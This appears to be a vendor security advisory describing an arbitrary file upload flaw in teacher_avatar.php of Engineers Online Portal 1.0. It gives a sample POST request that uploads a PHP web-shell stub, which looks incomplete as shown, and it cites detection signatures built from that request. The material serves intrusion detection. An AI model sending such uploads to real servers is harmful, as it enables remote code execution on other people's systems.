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Engineers Online Portal 1.0 Remote Code Execution

Application Details

Engineers' Online Portal is a messaging system which allows engineers to be able to send and receive messages, as well as upload and download files. It also notifies engineers when others are online.


Engineers Online Portal could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions by the teacher_avatar.php script.


By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

POST /teacher_avatar.php HTTP/1.1

Content-Disposition: form-data; name="image"; filename="vuln.php"
Content-Type: application/octet-stream

<INPUT TYPE="text" NAME="x">
<INPUT TYPE="submit" VALUE="Send">
if($_REQUEST['x']) {
  } else phpinfo();


By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.


Idappcom has created signatures 8022010 and 8022011 along with traffic files.


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